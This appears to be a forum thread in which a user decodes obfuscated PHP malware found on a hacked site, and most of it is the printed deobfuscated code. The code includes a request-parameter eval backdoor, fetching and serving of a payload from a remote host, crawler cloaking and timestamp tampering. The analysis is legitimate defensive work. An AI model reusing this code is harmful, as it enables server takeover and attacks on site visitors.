Annotated code is here: http://pastebay.com/145971
Looks like a very similar situation to this post
I'm no good with python so I thought I might ask for help here. The hack seems to include an iframe on user-facing pages, but judging from the question I reference above, that's probably not all it does!
>>> "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28"
'eval(gzinflate(base64_decode('
Ok, so it's taking that base64 string, undoing the base64 and gzip, and evaluating it. (the other characters at the end are the )));) So:
import base64, zlib
# remove all the line breaks from that big base64 string:
a = 'xVl7d9u2Dv8qqptT22eOI5J62tWWrksfa9Nuea1tkuuj2L.......'
print(zlib.decompressobj().decompress('x\x9c' + base64.b64decode(a)))
Which gives you.. this big ugly thing. I might take a closer look later to get a look at what it's doing, but for now.. here ya go.
if (!function_exists('google')) { function google($i){$a=Array("safe_mode","open_basedir","safe_mode_include_dir","safe_mode_exec_dir","disable_functions","allow_url_fopen",'max_execution_time','output_buffering','memory_limit','16M','error_log','log_errors','file_uploads','allow_url_fopen','max_execution_time','output_buffering','memory_limit','16M','error_log','log_errors','file_uploads','allow_url_fopen',"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",'safe_mode','open_basedir',"http://","","#/#","/","","","/","/","Accept-Language: en-us, en;q=0.50\r\n","Connection: Close\r\n\r\n","\r\n\r\n","\n","<br />","","/Location\:/","Location: ","\r","\r\n\r\n","","Location:","Location:","ERROR","66\.249\.[6-9][0-9]\.[0-9]+","72\.14\.[1-2][0-9][0-9]\.[0-9]+","74\.125\.[0-9]+\.[0-9]+","65\.5[2-5]\.[0-9]+\.[0-9]+","74\.6\.[0-9]+\.[0-9]+","67\.195\.[0-9]+\.[0-9]+","72\.30\.[0-9]+\.[0-9]+","38\.[0-9]+\.[0-9]+\.[0-9]+","124\.115\.6\.[0-9]+","93\.172\.94\.227","212\.100\.250\.218","71\.165\.223\.134","209\.9\.239\.101","67\.217\.160\.[0-9]+","70\.91\.180\.25","65\.93\.62\.242","74\.193\.246\.129","213\.144\.15\.38","195\.92\.229\.2","70\.50\.189\.191","218\.28\.88\.99","165\.160\.2\.20","89\.122\.224\.230","66\.230\.175\.124","218\.18\.174\.27","65\.33\.87\.94","67\.210\.111\.241","81\.135\.175\.70","64\.69\.34\.134","89\.149\.253\.169","64\.233\.1[6-8][1-9]\.[0-9]+","64\.233\.19[0-1]\.[0-9]+","209\.185\.108\.[0-9]+","209\.185\.253\.[0-9]+","209\.85\.238\.[0-9]+","216\.239\.33\.9[6-9]","216\.239\.37\.9[8-9]","216\.239\.39\.9[8-9]","216\.239\.41\.9[6-9]","216\.239\.45\.4","216\.239\.46\.[0-9]+","216\.239\.51\.9[6-9]","216\.239\.53\.9[8-9]","216\.239\.57\.9[6-9]","216\.239\.59\.9[8-9]","216\.33\.229\.163","64\.233\.173\.[0-9]+","64\.68\.8[0-9]\.[0-9]+","64\.68\.9[0-2]\.[0-9]+","72\.14\.199\.[0-9]+","8\.6\.48\.[0-9]+","207\.211\.40\.82","67\.162\.158\.146","66\.255\.53\.123","24\.200\.208\.112","129\.187\.148\.240","129\.187\.148\.244","199\.126\.151\.229","118\.124\.32\.193","89\.149\.217\.191","122\.164\.27\.42","149\.5\.168\.2","150\.70\.66\.[0-9]+","194\.250\.116\.39","208\.80\.194\.[0-9]+","62\.190\.39\.205","67\.198\.80\.236","85\.85\.187\.243","95\.134\.141\.250","97\.107\.135\.[0-9]+","184\.168\.191\.[0-9]+","95\.108\.157\.[0-9]+","209\.235\.253\.17",'http','google','slurp','msnbot','bot','crawl','spider','robot','httpclient','curl','php','indy library','wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget',"|User\.Agent\:[\s ]?|i","","^[a-zA-Z]{5,}",".","..",'langs','REMOTE_ADDR','HTTP_USER_AGENT','SCRIPT_FILENAME','','','','windows','Expires: Sat, 26 Jul 1997 05:00:00 GMT','Last-Modified: ','D, d M Y H:i:s',' GMT','Cache-Control: no-store, no-cache, must-revalidate','Cache-Control: post-check=0, pre-check=0','Pragma: no-cache','/.svn',"Hi",'0000','0001','1200','1201',"ymd","w",'ohix.','effbot.','/f/','net','ERROR',"w","a");return $a[$i];}} ?><?php @ignore_user_abort(round(0+0.25+0.25+0.25+0.25));@set_magic_quotes_runtime(round(0));@set_time_limit(round(0));@error_reporting(round(0));if(@function_exists('ini_restore')){@ini_restore(google(0));@ini_restore(google(1));@ini_restore(google(2));@ini_restore(google(3));@ini_restore(google(4));@ini_restore(google(5));}if(@function_exists('ini_set')){@ini_set(google(6),round(0));@ini_set(google(7),round(0));@ini_set(google(8),google(9));@ini_set(google(10),NULL);@ini_set(google(11),round(0));@ini_set(google(12),round(0+0.2+0.2+0.2+0.2+0.2));@ini_set(google(13),round(0+0.25+0.25+0.25+0.25));}elseif(@function_exists('ini_alter')){@ini_alter(google(14),round(0));@ini_alter(google(15),round(0));@ini_alter(google(16),google(17));@ini_alter(google(18),NULL);@ini_alter(google(19),round(0));@ini_alter(google(20),round(0+0.25+0.25+0.25+0.25));@ini_alter(google(21),round(0+0.25+0.25+0.25+0.25));}if(!function_exists('cc')){function cc($bot_0){$bot_1=google(22);if(function_exists('curl_init')){$bot_2=curl_init();curl_setopt($bot_2,10002,$bot_0);curl_setopt($bot_2,42,round(0));curl_setopt($bot_2,13,round(0+7.5+7.5+7.5+7.5));curl_setopt($bot_2,19913,round(0+0.25+0.25+0.25+0.25));curl_setopt($bot_2,10018,$bot_1);if(!(@ini_get(google(23))||@ini_get(google(24)))){@curl_setopt($bot_2,52,round(0+1));}@curl_setopt($bot_2,68,round(0+0.4+0.4+0.4+0.4+0.4));$bot_3=curl_exec($bot_2);curl_close($bot_2);if($bot_3 !== false){return $bot_3;}}else if(function_exists('fsockopen')){global $bot_4;$bot_0=str_replace(google(25),google(26),$bot_0);if(preg_match(google(27),"$bot_0")){$bot_5=$bot_0;$bot_0=@explode(google(28),$bot_0);$bot_0=$bot_0[round(0)];$bot_5=str_replace($bot_0,google(29),$bot_5);if(!$bot_5 || $bot_5 == google(30)){$bot_5=google(31);}$bot_6=gethostbyname($bot_0);}else{$bot_6=gethostbyname($bot_0);$bot_5=google(32);}$bot_7=fsockopen($bot_6,round(0+16+16+16+16+16),$bot_8,$bot_9,round(0+2+2+2+2+2));stream_set_timeout($bot_7,round(0+2+2+2+2+2));if($bot_7){$bot_10="GET $bot_5 HTTP/1.0\r\n";$bot_10 .="Host: $bot_0\r\n";$bot_10 .="Referer: http://$bot_0$bot_5\r\n";$bot_10 .= google(33);$bot_10 .="User-Agent: $bot_1\r\n";$bot_10 .= google(34);fputs($bot_7,$bot_10);while(!feof($bot_7)){$bot_11 .= fgets($bot_7,round(0+4096));}fclose($bot_7);$bot_11=@explode(google(35),$bot_11,round(0+2));$bot_12=$bot_11[round(0)];if($bot_4){$bot_12="$bot_4<br /><br />\n$bot_12";}$bot_12=str_replace(google(36),google(37),$bot_12);if($bot_11[round(0+0.2+0.2+0.2+0.2+0.2)]){$bot_13=$bot_11[round(0+1)];}else{$bot_13=google(38);}if($bot_13){$bot_11=$bot_13;}else{$bot_11=$bot_12;}if(preg_match(google(39),"$bot_12")){$bot_0=@explode(google(40),$bot_12);$bot_0=$bot_0[round(0+0.25+0.25+0.25+0.25)];$bot_0=@explode(google(41),$bot_0);$bot_0=$bot_0[round(0)];$bot_4=str_replace(google(42),google(43),$bot_12);$bot_14=google(44);$bot_4=str_replace(google(45),$bot_14,$bot_4);return cc($bot_0);}else{return $bot_11;}}}else{echo google(46);exit;}}}if(!function_exists('detB')){function detB($bot_15,$bot_16){$bot_17=array(google(47),google(48),google(49),google(50),google(51),google(52),google(53),google(54),google(55),google(56),google(57),google(58),google(59),google(60),google(61),google(62),google(63),google(64),google(65),google(66),google(67),google(68),google(69),google(70),google(71),google(72),google(73),google(74),google(75),google(76),google(77),google(78),google(79),google(80),google(81),google(82),google(83),google(84),google(85),google(86),google(87),google(88),google(89),google(90),google(91),google(92),google(93),google(94),google(95),google(96),google(97),google(98),google(99),google(100),google(101),google(102),google(103),google(104),google(105),google(106),google(107),google(108),google(109),google(110),google(111),google(112),google(113),google(114),google(115),google(116),google(117),google(118),google(119));$bot_18=array(google(120),google(121),google(122),google(123),google(124),google(125),google(126),google(127),google(128),google(129),google(130),google(131),google(132),google(133),google(134),google(135),google(136),google(137),google(138),google(139),google(140),google(141),google(142),google(143),google(144),google(145),google(146));$bot_15=preg_replace(google(147),google(148),$bot_15);$bot_19=true;foreach($bot_17 as $bot_20)if(eregi("$bot_20",$bot_16)){$bot_19=false;break;}if($bot_19)foreach($bot_18 as $bot_21)if(eregi($bot_21,$bot_15)!== false){$bot_19=false;break;}if($bot_19 and!eregi(google(149),$bot_15)){$bot_19=false;}if($bot_19 and strlen($bot_15)<=round(0+3.66666666667+3.66666666667+3.66666666667)){$bot_19=false;}return $bot_19;}}if(!function_exists('rm_rf')){function rm_rf($bot_22){$bot_23=@filemtime($bot_22);if($bot_24=opendir($bot_22)){while(false !==($bot_25=readdir($bot_24))){if($bot_25 != google(150)&& $bot_25 != google(151)&& is_file($bot_25)){@chmod($bot_25,round(0+146+146+146));@unlink($bot_25);}}closedir($bot_24);}@touch($bot_22,$bot_23,$bot_23);}}eval(base64_decode('aWYgKGlzc2V0KCRfUkVRVUVTVFsiZXYxIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbImV2MSJdKSk7IGV4aXQ7fQ=='));$bot_26=google(152);$bot_27=$_SERVER[google(153)];$bot_1=$_SERVER[google(154)];$bot_28=$_SERVER[google(155)];if($bot_27 == google(156)|| $bot_1 == google(157)|| $bot_28 == google(158))die();$bot_29=strtolower($bot_1);if(!isset($_COOKIE[$bot_26])&& strstr($bot_29,google(159))!==false){@header(google(160));@header(google(161) .gmdate(google(162)) .google(163));@header(google(164));@header(google(165),false);@header(google(166));$bot_30=dirname($bot_28) .google(167);if(!file_exists($bot_30)){$bot_23=@filemtime(dirname($bot_28));@mkdir($bot_30);@touch(dirname($bot_28),$bot_23,$bot_23);@touch($bot_30,$bot_23,$bot_23);}$bot_31=@date(google(168));if(($bot_31 >= google(169)&& $bot_31 <= google(170))||($bot_31 >= google(171)&& $bot_31 <= google(172)))rm_rf($bot_30);$bot_32=@date(google(173));$bot_33="$bot_30/$bot_32";$bot_34="$bot_30/sess_$bot_32";if(!file_exists($bot_33)){$bot_23=@filemtime($bot_30);$bot_35=fopen($bot_33,google(174));fclose($bot_35);@touch($bot_30,$bot_23,$bot_23);}if(!file_exists($bot_34)|| filesize($bot_34)<round(0+5)){$bot_36=array(google(175),google(176),google(177),google(178));$bot_37=$bot_36[rand(round(0),round(0+0.2+0.2+0.2+0.2+0.2))] .$bot_36[round(0+3)] .$bot_36[round(0+1+1)];$bot_38=@cc($bot_37);if($bot_38 != google(179)){$bot_23=@filemtime($bot_30);$bot_35=@fopen($bot_34,google(180));@fwrite($bot_35,"$bot_38");@fclose($bot_35);@touch($bot_30,$bot_23,$bot_23);@touch($bot_34,$bot_23,$bot_23);}}$bot_39=@base64_decode(@file_get_contents($bot_34));$bot_40=@file($bot_33);$bot_41=false;foreach($bot_40 as $bot_42){if(@trim($bot_42)== $bot_27){$bot_41=true;break;}}$bot_19=@detB($bot_1,$bot_27);if($bot_41 == false && $bot_19 == true){$bot_35=@fopen($bot_33,google(181));@fwrite($bot_35,"$bot_27\n");@fclose($bot_35);echo $bot_39;}} ?>
